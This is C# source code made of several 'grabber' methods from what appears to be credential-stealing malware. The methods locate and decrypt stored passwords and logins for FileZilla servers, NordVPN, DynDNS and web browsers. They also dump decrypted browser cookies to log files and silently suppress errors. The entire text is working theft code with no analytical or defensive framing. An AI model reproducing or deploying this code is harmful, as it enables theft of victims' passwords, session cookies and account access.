public static void Inizialize_Grabber() { if (CombineEx.ExistsFile(GlobalPath.FZilla)) { var build = new StringBuilder(); try { var xf = new XmlDocument() { XmlResolver = null }; xf.Load(GlobalPath.FZilla); XmlNodeList bb = xf.GetElementsByTagName("RecentServers"); XmlNodeList bs = ((XmlElement)bb[0]).GetElementsByTagName("Server"); foreach (XmlElement va in bs) { build.AppendLine($"HostName: {va.GetElementsByTagName("Host")[0].InnerText}"); build.AppendLine($"Port: {va.GetElementsByTagName("Port")[0].InnerText}"); build.AppendLine($"UserName: {va.GetElementsByTagName("User")[0].InnerText}"); build.AppendLine($"Password: {DecryptTools.DecryptFZ(va.GetElementsByTagName("Pass")[0].InnerText)}{Environment.NewLine}"); } } catch { } CombineEx.CreateFile(true, GlobalPath.FileZillaSave, build?.ToString()); build.Clear(); } }
public static void Inizialize_Grabber() { try { var nord = new DirectoryInfo(GlobalPath.NordPath); if (nord.Exists) { foreach (var info in nord.GetDirectories("NordVpn.exe*").SelectMany(nordir => nordir.GetDirectories().Select(info => info))) { string userConfigPath = CombineEx.CombinePath(info.FullName, "user.config"); if (CombineEx.ExistsFile(userConfigPath)) { var xf = new XmlDocument() { XmlResolver = null }; xf.Load(userConfigPath); string encodedUsername = xf.SelectSingleNode("//setting[@name='Username']/value").InnerText; string encodedPassword = xf.SelectSingleNode("//setting[@name='Password']/value").InnerText; if (!string.IsNullOrWhiteSpace(encodedUsername) || !string.IsNullOrWhiteSpace(encodedPassword)) { string decuser = DecryptTools.DecodeNord(encodedUsername, DataProtectionScope.LocalMachine); string decpass = DecryptTools.DecodeNord(encodedPassword, DataProtectionScope.LocalMachine); CombineEx.CreateFile(true, GlobalPath.NordSave, $"Login: {decuser} \r\nPassword: {decpass}\r\n"); } } } } } catch { } }
private static void SaveLogs(string BrowserName, string save, SQLiteDataReader reader) { try { using (var SwLog = new StreamWriter(save)) { while (reader.Read()) { SwLog.WriteLine($"Имя браузера: {BrowserName}"); SwLog.WriteLine($"Ссылка: {reader[0]?.ToString()}"); SwLog.WriteLine($"Логин: {reader[1]?.ToString()}"); SwLog.WriteLine($"Пароль: {DecryptTools.DecryptValue(GetBytes(reader, 2), DataProtectionScope.LocalMachine, null)}"); SwLog.WriteLine(); SwLog.Flush(); } } } catch { } }
private static void SaveLogs(string v, string save, SQLiteDataReader reader) { try { using (var SwLog = new StreamWriter(save)) { while (reader.Read()) { SwLog.WriteLine($"Browser: {CombineEx.GetFileNameWithoutExtension(v)}"); SwLog.WriteLine($"HostKey: {reader[5]?.ToString()}"); SwLog.WriteLine($"Name: {reader[0]?.ToString()}"); SwLog.WriteLine($"Path: {reader[2]?.ToString()}"); SwLog.WriteLine($"Expires_utc: {(long)reader[3]}"); SwLog.WriteLine($"Last_access_utc: {(long)reader[4]}"); SwLog.WriteLine($"EncryptedValue: {DecryptTools.DecryptValue((byte[])reader[1], DataProtectionScope.LocalMachine, null)}"); SwLog.WriteLine(); } } } catch { } }
public static void Inizialize_Grabber() { if (CombineEx.ExistsFile(GlobalPath.DynDns)) { try { string[] lines = File.ReadAllLines(GlobalPath.DynDns); if (lines.Length != 0) { CombineEx.CreateFile(true, GlobalPath.DynDnsSave, $"UserName: {lines[1].Substring(9)}\r\nPassword: { DecryptTools.DecryptDynDns(lines[2].Substring(9))}{Environment.NewLine}"); } } catch { } } }